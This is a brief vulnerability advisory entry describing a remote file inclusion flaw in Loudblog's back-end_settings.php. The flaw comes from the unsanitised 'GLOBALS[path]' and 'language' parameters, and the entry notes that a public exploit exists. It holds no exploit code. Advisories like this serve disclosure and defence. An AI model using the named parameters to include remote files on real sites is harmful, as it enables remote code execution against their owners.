Loudblog backend_settings.php Multiple Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Loudblog contains a flaw that may allow an attacker to carry out a remote file inclusion attack. The issue is due to the "loudblog/inc/back-end_settings.php" script not properly sanitizing user-supplied input to the 'GLOBALS[path]' or 'language' variables. This may allow a remote attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.
